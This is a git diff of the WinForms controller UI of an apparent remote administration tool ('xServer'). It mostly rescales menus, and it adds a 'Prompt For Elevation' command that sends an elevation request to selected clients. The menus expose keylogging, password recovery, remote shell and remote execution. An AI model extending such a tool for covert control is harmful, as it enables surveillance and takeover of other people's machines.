+ this.disconnectToolStripMenuItem.Size = new System.Drawing.Size(184, 30); this.disconnectToolStripMenuItem.Text = "Disconnect"; this.disconnectToolStripMenuItem.Click += new System.EventHandler(this.disconnectToolStripMenuItem_Click); // @@ -143,7 +145,7 @@ private void InitializeComponent() // this.uninstallToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("uninstallToolStripMenuItem.Image"))); this.uninstallToolStripMenuItem.Name = "uninstallToolStripMenuItem"; - this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(133, 22); + this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(184, 30); this.uninstallToolStripMenuItem.Text = "Uninstall"; this.uninstallToolStripMenuItem.Click += new System.EventHandler(this.uninstallToolStripMenuItem_Click); // @@ -157,18 +159,19 @@ private void InitializeComponent() this.remoteShellToolStripMenuItem, this.reverseProxyToolStripMenuItem, this.registryEditorToolStripMenuItem, + this.askForElevationToolStripMenuItem, this.ctxtLine, this.actionsToolStripMenuItem}); this.systemToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("systemToolStripMenuItem.Image"))); this.systemToolStripMenuItem.Name = "systemToolStripMenuItem"; - this.systemToolStripMenuItem.Size = new System.Drawing.Size(152, 22); + this.systemToolStripMenuItem.Size = new System.Drawing.Size(211, 30); this.systemToolStripMenuItem.Text = "System"; // // systemInformationToolStripMenuItem // this.systemInformationToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("systemInformationToolStripMenuItem.Image"))); this.systemInformationToolStripMenuItem.Name = "systemInformationToolStripMenuItem"; - this.systemInformationToolStripMenuItem.Size = new System.Drawing.Size(178, 22); + this.systemInformationToolStripMenuItem.Size = new System.Drawing.Size(264, 30); this.systemInformationToolStripMenuItem.Text = "System Information"; this.systemInformationToolStripMenuItem.Click += new System.EventHandler(this.systemInformationToolStripMenuItem_Click); // @@ -176,7 +179,7 @@ private void InitializeComponent() // this.fileManagerToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("fileManagerToolStripMenuItem.Image"))); this.fileManagerToolStripMenuItem.Name = "fileManagerToolStripMenuItem"; - this.fileManagerToolStripMenuItem.Size = new System.Drawing.Size(178, 22); + this.fileManagerToolStripMenuItem.Size = new System.Drawing.Size(264, 30); this.fileManagerToolStripMenuItem.Text = "File Manager"; this.fileManagerToolStripMenuItem.Click += new System.EventHandler(this.fileManagerToolStripMenuItem_Click); // @@ -184,7 +187,7 @@ private void InitializeComponent() // this.startupManagerToolStripMenuItem.Image = global::xServer.Properties.Resources.startup_programs; this.startupManagerToolStripMenuItem.Name = "startupManagerToolStripMenuItem"; - this.startupManagerToolStripMenuItem.Size = new System.Drawing.Size(178, 22); + this.startupManagerToolStripMenuItem.Size = new System.Drawing.Size(264, 30); this.startupManagerToolStripMenuItem.Text = "Startup Manager"; this.startupManagerToolStripMenuItem.Click += new System.EventHandler(this.startupManagerToolStripMenuItem_Click); // @@ -192,7 +195,7 @@ private void InitializeComponent() // this.taskManagerToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("taskManagerToolStripMenuItem.Image"))); this.taskManagerToolStripMenuItem.Name = "taskManagerToolStripMenuItem"; - this.taskManagerToolStripMenuItem.Size = new System.Drawing.Size(178, 22); + this.taskManagerToolStripMenuItem.Size = new System.Drawing.Size(264, 30); this.taskManagerToolStripMenuItem.Text = "Task Manager"; this.taskManagerToolStripMenuItem.Click += new System.EventHandler(this.taskManagerToolStripMenuItem_Click); // @@ -200,7 +203,7 @@ private void InitializeComponent() // this.remoteShellToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("remoteShellToolStripMenuItem.Image"))); this.remoteShellToolStripMenuItem.Name = "remoteShellToolStripMenuItem"; - this.remoteShellToolStripMenuItem.Size = new System.Drawing.Size(178, 22); + this.remoteShellToolStripMenuItem.Size = new System.Drawing.Size(264, 30); this.remoteShellToolStripMenuItem.Text = "Remote Shell"; this.remoteShellToolStripMenuItem.Click += new System.EventHandler(this.remoteShellToolStripMenuItem_Click); // @@ -208,7 +211,7 @@ private void InitializeComponent() // this.reverseProxyToolStripMenuItem.Image = global::xServer.Properties.Resources.server_link; this.reverseProxyToolStripMenuItem.Name = "reverseProxyToolStripMenuItem"; - this.reverseProxyToolStripMenuItem.Size = new System.Drawing.Size(178, 22); + this.reverseProxyToolStripMenuItem.Size = new System.Drawing.Size(264, 30); this.reverseProxyToolStripMenuItem.Text = "Reverse Proxy"; this.reverseProxyToolStripMenuItem.Click += new System.EventHandler(this.reverseProxyToolStripMenuItem_Click); // @@ -216,14 +219,14 @@ private void InitializeComponent() // this.registryEditorToolStripMenuItem.Image = global::xServer.Properties.Resources.registry; this.registryEditorToolStripMenuItem.Name = "registryEditorToolStripMenuItem"; - this.registryEditorToolStripMenuItem.Size = new System.Drawing.Size(178, 22); + this.registryEditorToolStripMenuItem.Size = new System.Drawing.Size(264, 30); this.registryEditorToolStripMenuItem.Text = "Registry Editor"; this.registryEditorToolStripMenuItem.Click += new System.EventHandler(this.registryEditorToolStripMenuItem_Click); // // ctxtLine // this.ctxtLine.Name = "ctxtLine"; - this.ctxtLine.Size = new System.Drawing.Size(175, 6); + this.ctxtLine.Size = new System.Drawing.Size(261, 6); // // actionsToolStripMenuItem // @@ -233,14 +236,14 @@ private void InitializeComponent() this.standbyToolStripMenuItem}); this.actionsToolStripMenuItem.Image = global::xServer.Properties.Resources.actions; this.actionsToolStripMenuItem.Name = "actionsToolStripMenuItem"; - this.actionsToolStripMenuItem.Size = new System.Drawing.Size(178, 22); + this.actionsToolStripMenuItem.Size = new System.Drawing.Size(264, 30); this.actionsToolStripMenuItem.Text = "Actions"; // // shutdownToolStripMenuItem // this.shutdownToolStripMenuItem.Image = global::xServer.Properties.Resources.shutdown; this.shutdownToolStripMenuItem.Name = "shutdownToolStripMenuItem"; - this.shutdownToolStripMenuItem.Size = new System.Drawing.Size(128, 22); + this.shutdownToolStripMenuItem.Size = new System.Drawing.Size(178, 30); this.shutdownToolStripMenuItem.Text = "Shutdown"; this.shutdownToolStripMenuItem.Click += new System.EventHandler(this.shutdownToolStripMenuItem_Click); // @@ -248,7 +251,7 @@ private void InitializeComponent() // this.restartToolStripMenuItem.Image = global::xServer.Properties.Resources.restart; this.restartToolStripMenuItem.Name = "restartToolStripMenuItem"; - this.restartToolStripMenuItem.Size = new System.Drawing.Size(128, 22); + this.restartToolStripMenuItem.Size = new System.Drawing.Size(178, 30); this.restartToolStripMenuItem.Text = "Restart"; this.restartToolStripMenuItem.Click += new System.EventHandler(this.restartToolStripMenuItem_Click); // @@ -256,7 +259,7 @@ private void InitializeComponent() // this.standbyToolStripMenuItem.Image = global::xServer.Properties.Resources.standby; this.standbyToolStripMenuItem.Name = "standbyToolStripMenuItem"; - this.standbyToolStripMenuItem.Size = new System.Drawing.Size(128, 22); + this.standbyToolStripMenuItem.Size = new System.Drawing.Size(178, 30); this.standbyToolStripMenuItem.Text = "Standby"; this.standbyToolStripMenuItem.Click += new System.EventHandler(this.standbyToolStripMenuItem_Click); // @@ -268,14 +271,14 @@ private void InitializeComponent() this.keyloggerToolStripMenuItem}); this.surveillanceToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("surveillanceToolStripMenuItem.Image"))); this.surveillanceToolStripMenuItem.Name = "surveillanceToolStripMenuItem"; - this.surveillanceToolStripMenuItem.Size = new System.Drawing.Size(152, 22); + this.surveillanceToolStripMenuItem.Size = new System.Drawing.Size(211, 30); this.surveillanceToolStripMenuItem.Text = "Surveillance"; // // remoteDesktopToolStripMenuItem // this.remoteDesktopToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("remoteDesktopToolStripMenuItem.Image"))); this.remoteDesktopToolStripMenuItem.Name = "remoteDesktopToolStripMenuItem"; - this.remoteDesktopToolStripMenuItem.Size = new System.Drawing.Size(175, 22); + this.remoteDesktopToolStripMenuItem.Size = new System.Drawing.Size(248, 30); this.remoteDesktopToolStripMenuItem.Text = "Remote Desktop"; this.remoteDesktopToolStripMenuItem.Click += new System.EventHandler(this.remoteDesktopToolStripMenuItem_Click); // @@ -283,7 +286,7 @@ private void InitializeComponent() // this.passwordRecoveryToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("passwordRecoveryToolStripMenuItem.Image"))); this.passwordRecoveryToolStripMenuItem.Name = "passwordRecoveryToolStripMenuItem"; - this.passwordRecoveryToolStripMenuItem.Size = new System.Drawing.Size(175, 22); + this.passwordRecoveryToolStripMenuItem.Size = new System.Drawing.Size(248, 30); this.passwordRecoveryToolStripMenuItem.Text = "Password Recovery"; this.passwordRecoveryToolStripMenuItem.Click += new System.EventHandler(this.passwordRecoveryToolStripMenuItem_Click); // @@ -291,7 +294,7 @@ private void InitializeComponent() // this.keyloggerToolStripMenuItem.Image = global::xServer.Properties.Resources.logger; this.keyloggerToolStripMenuItem.Name = "keyloggerToolStripMenuItem"; - this.keyloggerToolStripMenuItem.Size = new System.Drawing.Size(175, 22); + this.keyloggerToolStripMenuItem.Size = new System.Drawing.Size(248, 30); this.keyloggerToolStripMenuItem.Text = "Keylogger"; this.keyloggerToolStripMenuItem.Click += new System.EventHandler(this.keyloggerToolStripMenuItem_Click); // @@ -303,7 +306,7 @@ private void InitializeComponent() this.showMessageboxToolStripMenuItem}); this.miscellaneousToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("miscellaneousToolStripMenuItem.Image"))); this.miscellaneousToolStripMenuItem.Name = "miscellaneousToolStripMenuItem"; - this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(152, 22); + this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(211, 30); this.miscellaneousToolStripMenuItem.Text = "Miscellaneous"; // // remoteExecuteToolStripMenuItem @@ -313,14 +316,14 @@ private void InitializeComponent() this.webFileToolStripMenuItem}); this.remoteExecuteToolStripMenuItem.Image = global::xServer.Properties.Resources.lightning; this.remoteExecuteToolStripMenuItem.Name = "remoteExecuteToolStripMenuItem"; - this.remoteExecuteToolStripMenuItem.Size = new System.Drawing.Size(171, 22); + this.remoteExecuteToolStripMenuItem.Size = new System.Drawing.Size(246, 30); this.remoteExecuteToolStripMenuItem.Text = "Remote Execute"; // // localFileToolStripMenuItem // this.localFileToolStripMenuItem.Image = global::xServer.Properties.Resources.drive_go; this.localFileToolStripMenuItem.Name = "localFileToolStripMenuItem"; - this.localFileToolStripMenuItem.Size = new System.Drawing.Size(132, 22); + this.localFileToolStripMenuItem.Size = new System.Drawing.Size(180, 30); this.localFileToolStripMenuItem.Text = "Local File..."; this.localFileToolStripMenuItem.Click += new System.EventHandler(this.localFileToolStripMenuItem_Click); // @@ -328,7 +331,7 @@ private void InitializeComponent() // this.webFileToolStripMenuItem.Image = global::xServer.Properties.Resources.world_go; this.webFileToolStripMenuItem.Name = "webFileToolStripMenuItem"; - this.webFileToolStripMenuItem.Size = new System.Drawing.Size(132, 22); + this.webFileToolStripMenuItem.Size = new System.Drawing.Size(180, 30); this.webFileToolStripMenuItem.Text = "Web File..."; this.webFileToolStripMenuItem.Click += new System.EventHandler(this.webFileToolStripMenuItem_Click); // @@ -336,7 +339,7 @@ private void InitializeComponent() // this.visitWebsiteToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("visitWebsiteToolStripMenuItem.Image"))); this.visitWebsiteToolStripMenuItem.Name = "visitWebsiteToolStripMenuItem"; - this.visitWebsiteToolStripMenuItem.Size = new System.Drawing.Size(171, 22); + this.visitWebsiteToolStripMenuItem.Size = new System.Drawing.Size(246, 30); this.visitWebsiteToolStripMenuItem.Text = "Visit Website"; this.visitWebsiteToolStripMenuItem.Click += new System.EventHandler(this.visitWebsiteToolStripMenuItem_Click); // @@ -344,19 +347,19 @@ private void InitializeComponent() // this.showMessageboxToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("showMessageboxToolStripMenuItem.Image"))); this.showMessageboxToolStripMenuItem.Name = "showMessageboxToolStripMenuItem"; - this.showMessageboxToolStripMenuItem.Size = new System.Drawing.Size(171, 22); + this.showMessageboxToolStripMenuItem.Size = new System.Drawing.Size(246, 30); this.showMessageboxToolStripMenuItem.Text = "Show Messagebox"; this.showMessageboxToolStripMenuItem.Click += new System.EventHandler(this.showMessageboxToolStripMenuItem_Click); // // lineToolStripMenuItem // this.lineToolStripMenuItem.Name = "lineToolStripMenuItem"; - this.lineToolStripMenuItem.Size = new System.Drawing.Size(149, 6); + this.lineToolStripMenuItem.Size = new System.Drawing.Size(208, 6); // // selectAllToolStripMenuItem // this.selectAllToolStripMenuItem.Name = "selectAllToolStripMenuItem"; - this.selectAllToolStripMenuItem.Size = new System.Drawing.Size(152, 22); + this.selectAllToolStripMenuItem.Size = new System.Drawing.Size(211, 30); this.selectAllToolStripMenuItem.Text = "Select All"; this.selectAllToolStripMenuItem.Click += new System.EventHandler(this.selectAllToolStripMenuItem_Click); // @@ -641,6 +644,7 @@ private void InitializeComponent() // statusStrip // this.statusStrip.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusStrip.ImageScalingSize = new System.Drawing.Size(24, 24); this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.listenToolStripStatusLabel}); this.statusStrip.Location = new System.Drawing.Point(0, 436); @@ -652,7 +656,7 @@ private void InitializeComponent() // listenToolStripStatusLabel // this.listenToolStripStatusLabel.Name = "listenToolStripStatusLabel"; - this.listenToolStripStatusLabel.Size = new System.Drawing.Size(87, 17); + this.listenToolStripStatusLabel.Size = new System.Drawing.Size(129, 17); this.listenToolStripStatusLabel.Text = "Listening: False"; // // lstClients @@ -729,6 +733,7 @@ private void InitializeComponent() // this.menuStrip.Dock = System.Windows.Forms.DockStyle.None; this.menuStrip.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.menuStrip.ImageScalingSize = new System.Drawing.Size(24, 24); this.menuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.fIleToolStripMenuItem, this.settingsToolStripMenuItem, @@ -736,7 +741,7 @@ private void InitializeComponent() this.aboutToolStripMenuItem}); this.menuStrip.Location = new System.Drawing.Point(0, 0); this.menuStrip.Name = "menuStrip"; - this.menuStrip.Size = new System.Drawing.Size(216, 25); + this.menuStrip.Size = new System.Drawing.Size(302, 25); this.menuStrip.TabIndex = 2; // // fIleToolStripMenuItem @@ -745,40 +750,48 @@ private void InitializeComponent() this.closeToolStripMenuItem}); this.fIleToolStripMenuItem.Font = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.fIleToolStripMenuItem.Name = "fIleToolStripMenuItem"; - this.fIleToolStripMenuItem.Size = new System.Drawing.Size(39, 21); + this.fIleToolStripMenuItem.Size = new System.Drawing.Size(54, 21); this.fIleToolStripMenuItem.Text = "File"; // // closeToolStripMenuItem // this.closeToolStripMenuItem.Name = "closeToolStripMenuItem"; - this.closeToolStripMenuItem.Size = new System.Drawing.Size(108, 22); + this.closeToolStripMenuItem.Size = new System.Drawing.Size(144, 32); this.closeToolStripMenuItem.Text = "Close"; this.closeToolStripMenuItem.Click += new System.EventHandler(this.closeToolStripMenuItem_Click); // // settingsToolStripMenuItem // this.settingsToolStripMenuItem.Name = "settingsToolStripMenuItem"; - this.settingsToolStripMenuItem.Size = new System.Drawing.Size(61, 21); + this.settingsToolStripMenuItem.Size = new System.Drawing.Size(88, 21); this.settingsToolStripMenuItem.Text = "Settings"; this.settingsToolStripMenuItem.Click += new System.EventHandler(this.settingsToolStripMenuItem_Click); // // builderToolStripMenuItem // this.builderToolStripMenuItem.Name = "builderToolStripMenuItem"; - this.builderToolStripMenuItem.Size = new System.Drawing.Size(56, 21); + this.builderToolStripMenuItem.Size = new System.Drawing.Size(78, 21); this.builderToolStripMenuItem.Text = "Builder"; this.builderToolStripMenuItem.Click += new System.EventHandler(this.builderToolStripMenuItem_Click); // // aboutToolStripMenuItem // this.aboutToolStripMenuItem.Name = "aboutToolStripMenuItem"; - this.aboutToolStripMenuItem.Size = new System.Drawing.Size(52, 21); + this.aboutToolStripMenuItem.Size = new System.Drawing.Size(74, 21); this.aboutToolStripMenuItem.Text = "About"; this.aboutToolStripMenuItem.Click += new System.EventHandler(this.aboutToolStripMenuItem_Click); // + // askForElevationToolStripMenuItem + // + this.askForElevationToolStripMenuItem.Image = global::xServer.Properties.Resources.uac_shield; + this.askForElevationToolStripMenuItem.Name = "askForElevationToolStripMenuItem"; + this.askForElevationToolStripMenuItem.Size = new System.Drawing.Size(264, 30); + this.askForElevationToolStripMenuItem.Text = "Prompt For Elevation"; + this.askForElevationToolStripMenuItem.Click += new System.EventHandler(this.askForElevationToolStripMenuItem_Click); + // // FrmMain // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 23F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(1022, 458); this.Controls.Add(this.tableLayoutPanel); @@ -856,6 +869,7 @@ private void InitializeComponent() private System.Windows.Forms.ToolStripMenuItem aboutToolStripMenuItem; private System.Windows.Forms.StatusStrip statusStrip; private System.Windows.Forms.ToolStripStatusLabel listenToolStripStatusLabel; + private System.Windows.Forms.ToolStripMenuItem askForElevationToolStripMenuItem; } } diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index e9225138b..a87ca0b66 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -628,6 +628,14 @@ private void registryEditorToolStripMenuItem_Click(object sender, EventArgs e) } } + private void askForElevationToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + new Core.Packets.ServerPackets.DoAskElevate().Execute(c); + } + } + private void shutdownToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) diff --git a/Server/Forms/FrmMain.resx b/Server/Forms/FrmMain.resx index 76459b885..6cd82fa68 100644 --- a/Server/Forms/FrmMain.resx +++ b/Server/Forms/FrmMain.resx @@ -121,6 +121,77 @@ 223, 17 + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAJ4SURBVDhPpZHLbxJhFMX7H7h26c6NJq5YmKhxYWo0 + amKi0VU1VqMs2kUXNpomJsSSAmIfWExNtVQihkSglGmZAcpjOkKBgjC0pR2gWNOkQGzTjQsXx/tNFF+z + MHGSm29mcs7v3u/cDgD/VX/9yGazL1Op1FdRFBGNRiEIAjiOg9frhdvtfvOnvv2Sz+cPZDIZt6Io2Nra + hlKtQ1Fq2GC1UUWr9RlOp5OkGoBcLteZTqc/1Wo1NBoNpJZyWJTSSIhLiCWSiMXeY62sYHJykuQaADJj + Z2dHrXr9I0Qyj4/bYbM9w+joGIaHR7CyugG73U5yDYAkSdjd3SVzHZVKBXHWNZ7EQkxCZGERQjiB0so6 + gYZJrgFgYbVaLWxubtK9K4jSyKyr1WqFxWLB0NAQ5FIZJpOJ5BoAljQDsAzK5XXqKiEUESGEEggKMcwH + oygWV2EwGEiuAQgEAiqgWq1iba2sjswLcQT5GF4nX+HK20v4QICBgQGSawA8Hg+azaZ6/1Jptd2Vm4/g + 9NRx6MZ0mPI/R8/oddx+chHXDKf2z94/+rANcLlc6voYoCiXMMfMcxHMcmH4ZwWYpx7jkfsGZmUb8ts8 + rMI9XLUegU5/0KwCHA4H9vb21BALBRkBjsyBEGbI7Jvh0WXshK/4FL6VEZID5lA3rKE7DPBFBUxMTKT8 + fj9kWaYg6wjT6vyBMLy+IN5RnX9wDJz8QjX/eGYKNgb4GQat7BytKzM9PQ1xUaKrlLGck5FdLuJEzyGY + +JsY5LtU82Cw6/cJfi1K+kx/f3+hr68Pvb290Ov1uHD3JC6bD8PC31I7s5N9tzP4lyKxkWqfjf39NALo + +AY1hv6Ur5wdrwAAAABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKoSURBVDhPpZFdSFNhHMZPREQQWBcVUSQG0QdIRUQS + elWJ1IURVFCRWOSiQXqxm2GaKVFtrLn82GA4nevQbMQGY0udHzvb2XFzWxPb1LmzzaUUzpHedFXy9J4D + Lsh11cVzOLw8z+//RQH4L216CIfDvYFA4CfLsnC73XC5XHA6nbDZbLBYLO/+9ud/pqamikKhkIXneSwu + fgWfyoDn00gISqSQy30HTdPEWgAQiUSqgsHgUjqdRjabRWAyAh8XhJedBOP1g2EmMBfnYTAYiL0AgISx + vLwsKpP5ApaEtVodurq60dHRCY3mDWZmE9DpdMReAMBxHFZXV0k4g2QyCY9Q1ePHOMNhbNwH16gXsZl5 + AtIQewGAsKxcLoeFhQUydxJu0rJQVa1WQ6VSQaFQIBqLQ6lUEnsBgLBpASDsIB6fJ1U5jIyxcI14MeRi + MDjkRj1dgQe9p1HTU7pjE8DhcIiAVCqFubm42PKwy4OhYQZv/X24MXAVEmMZntlv4abuGKq7ivMQ8WO1 + WrGysiLOH4vNilWFio9NZSR4BrU9J/HEeh3vgxrILNW4pN63XqHcvTMPMJvN4vkEwOdoDB9Jy1LTOdg+ + deNDuFMMmoPtaB+RwTihwEO6EmdfbF8vbdtSJAL6+/uxtrYmLnF6OgqHcwz3ybxC+PVwPV4NSvHcWYcW + ey1aHRLoPG2401eOI0+pXyJAr9cH7HY7otEoWWQGo+R0t/XHMTDZDtqvgpFTwOB7SSCPoPW0oo6uQkkT + lT0gp06JAEHkZFfIuUImkwmsj8M17WFc1hzERfVelCt34W7veXQzLbhnqkRxE/Vtv5w6IeTygA01NzdX + yuXyaZlMhoaGBkilUkgkEpS2bkON8QKKG6klEj664d8E+JdIyz8ONW7FHjlV8ucd1G+4oOErp0oWzwAA + AABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAALgSURBVDhPpZDbT5IBGMa5aG1e9R/4D3TR1nJmp7Va + B7twlc1O1izxkIfJ5mdDMW3mBoqOeUDRDDIBcxiiCPj5cfgQRBEQTBRRkJA0ZdZ1s4un79Ot2vKirYvf + zbv9nud9Xw6A/+LQ4Z/4fD6F2+3+4XQ6QdM0KIqC0WiETqeDRqMZPFRiCQQCx7xeryYSiSCR2EJkPY5I + JIY1lrV17O5+g0qlOlz2+/3XPR7P51gshmQyCfecH9MuDxzOOdgds7DbZ7ASjkAulx8ewMjY2dnZJx7f + gJORu7tlkEq70NHRiba2diyH1iCTyf6W++ndVK1WC5IkGTmOaDSKKbZ1ahY2uwtW2zQoiwNLy6tMUNtv + UeX4mqKwJkd6R+a/m0wmmM1mDA8PM3dHQTMrs60SiQStra1obm5GcCkMsVj8q/VIH/VldYDexoBtE+I3 + BrBbqNVqrKyEYbFOw2x1gjI7QFJ2TJA0FhdDaGxsPAiQTWyldown8MG1DTWdgES3BkJigM0d2r+TIKpA + TtIMdihn3yJn6CYWmIC6urqDgBbtp4wWbRRK6waaNCvo1IdRo/DjYY2SeVoHhoaGwOUWwGCy4FL/WaR3 + piOwsAw+n38QUK8KZTWoQ+gxRvCiP4DKXg8alH4QPTO4V9YEoVCIqud8jBst0I9TGNVT8AeCqKysPAjg + yeaJWkaUaEOo6HajUOJArsgCbguNJyIzLmQ3Qjc6iTFWHpvEyCiJeX8Q5eXl4JRIfUfzWlx7r9QLECi8 + EMg9+81l7Q4UtFpx5dl7CERa6A0WJoSElmXEBN/8IoqLi8F5IHLuFbe78PKdD7yuaWQLjLhaosH5xwNI + u92Ha/elsNFOLAbD+62syLK5uc38hQvOjdpJU67Qhpw6EmeeDu6l3VUQJ2+9zjqRKc04flmSWi2oz6yu + rv5IEAR4PB5KS0tRVFSE/Px85OXlhTgXK3Qp5wo1ptOPlHun7siPsj/5d8D5CcQ0539TQdfWAAAAAElF + TkSuQmCC + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKISURBVDhPpZFPSFMBHMeN6Tm6hdHBS7fOHuogKyMI + ISry2CEPwQiGWLoOepGIyRj+y4G0SpMWA53ON7e9bW7u+XRuc+renNO3f04Et+F26B8kfvu9Ry3I16kH + X3g8vt/P7/2+vzoA/6UzH6LR6NtQKPSD4zj4/X6wLAuHwwGbzQar1frxb3/tZWNj43wkErGKoohC4RBi + Jg9RzGJP0l4G5fIxpqamyKoAiMVit8Ph8EE2m0WxWERoLYZlPowgt4ZAcBWBwAp2UiLMZjPZFQAUxtHR + kax8fh8chcfGTBgdfY3h4REMDg5hO7kHk8lEdgUAz/OoVCoUziOdTmNJmrq0isUAD9/iMlhvEIntXQIN + kl0BIJVVLpeRy+Vo7zT89MvSVKPRCIPBAL1eDyGRwsDAANkVAFLTEkDqIJXapak8PD4OrCcIFxuA0+VH + PJ5Ef38/2RUADMPIgEwmg52dlPzLbnYJLncAH1bf4eGnu9gkQG9vL9kVADMzMyiVSvL+iUSyNtXh9EH9 + /hqaR5qxZuqD814jPOr6U1erap/UUwNYLBb5fBIgLiSwIIUXfJh3eGGfZ+F+1YnNZ9fxjTHgdNuJL5ZO + hDVXT9w36p/KgImJCVSrVbnErS0BjIPCjAdzFJ6dc8N5/xK+UhhDbUD3BeBlE0r6FrhuqjIyYHx8PGS3 + 2yEIAhWZh5dOZ2e8sM26ME3yqBtwGp0m65+n0ndRXkcGSKKT3aFzRSYnJ8Et87RKCusxAdH1ONgHjfj8 + 5jFAoe/P63BMyj9RgXo4qAF+i5q+pdPptrq6uqDVaqHRaDD6qAUrHVdw2N2Eoq4B6Y5z8LbVnzhbVS/O + AP4lrv1yD03M/rpCQQoDqPsJSNb8+jMBmwUAAAAASUVORK5CYII= + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m @@ -216,113 +287,6 @@ Dbrv6elpDAwM/KLvHh4ZwdPhEczMOpiRam/vMzo7O8+esNFo7CZNr0RX4yyiTqf7SWLb+vr6NrRaLdRq NZRKJbq6utDR0YH29vbKiXliYuKK2Wwm+y1D3m6yK5TJfRDTj9OQ/3XyMTo6emlwcFCgTRMiThH504az AvcX77X2szDYsr4AAAAASUVORK5CYII= - - - - - iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m - dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKfSURBVDhPpZLdT1JxGMdpa+suWy8XzfUH9D943+yu - q9bWZhfNuVVb0portaKSuzSXmomkx4SpaIkg8qKAyotApUBQKgqHwzmHwzkesJHGaHyDs+l086KXi++e - 3+95Pt/n99ueRwbgv3Rk8m906EKSZE0q/m2ajnp26JVZMJ/NYAJGMD49WL/xJxvxumiarjno2T9QFEUw - a58K6bAVYsQObtmEVbsGEfMAYrYBbC+NQVx8h8z8UImLhacONSibLUzYCSFsw4qFgGGwAzpCBe2IAYTG - CBUxBa1aBadaAcHaBdHcCSHkCEkNEolEOxN1QwjOwKF7Dbc/ilFXFsPOLNQ2Ed2mLbTrebTpOOi9Waxa - h5Eaf4acXgkq7B2UpWLhNB2YQNQ/h2KxiCnfNoYcWaisIk6du4Cqs9V4PpZBiyZdjpzEsCEXaG0zgn1N - RVncry+lkzHs7u5KRZ0rh16zgE6jgKoz1Th5+jweDrO4p6bRWo4VpsIKsRA+djRAlkps/BJFEfl8HoVC - AfZgrvxlDkodi0daGk2DKdxVUWjoIfHWxktMha14NvRdJRkVWhC5xFfkcjmpEEt9R98Mi2YiWX6VxO3e - OG6+2kTLUBLL61mJqbBsJIA48aAgI9cjb9JLE8iUp7DFJJDNZhFc40BYSDT1r6GxdxXdk3H4vqQlo8gx - 4HzTSPbUw6NSeKQxri57PdRsPwSnGnzQLvKxMMOzqQTP85t7ymQym1zEx7CGTpBls7VdzkzKLx/bX6TA - vFXvHu0qboy1gTO+AGdTgXVqwDg0YOcIUPqXoPpuY1F5o2Tqeer/0Fh7XNqDvQYVubvlJwzK+qvjj+tG - Jp/UcSZF3Q+L4vrOTOu1/Pv7VxY0d2rl2luXLh70HGrwLzoy+eeC7DdDjRpyPiqHagAAAABJRU5ErkJg - gg== - - - - - iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m - dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAALOSURBVDhPpZHJT1NRFMbrzrD2b3DtnrAyMSERGVMq - LdJHaVPoFOC1fZFSIBGxBCiktgxqS8sgULAyqIUiQgjwUCAQkSASw2QYF0SrjZv3+e4ljSR15+JLbu49 - 3+9851wJgP9SwsX7R9VJMzY2+S1rkO+rGOzlZlLtFxZgktXfm6lgk0lNvD4BsMKV82cmI061GhyLpnOO - wznL0vOprhhnpSYsWcv4eH0C4EtejvDdZkPM1YpjbRH2ZVlU5EzuyNtnaZoQMRuuU0C1z55kdpcnm5x6 - 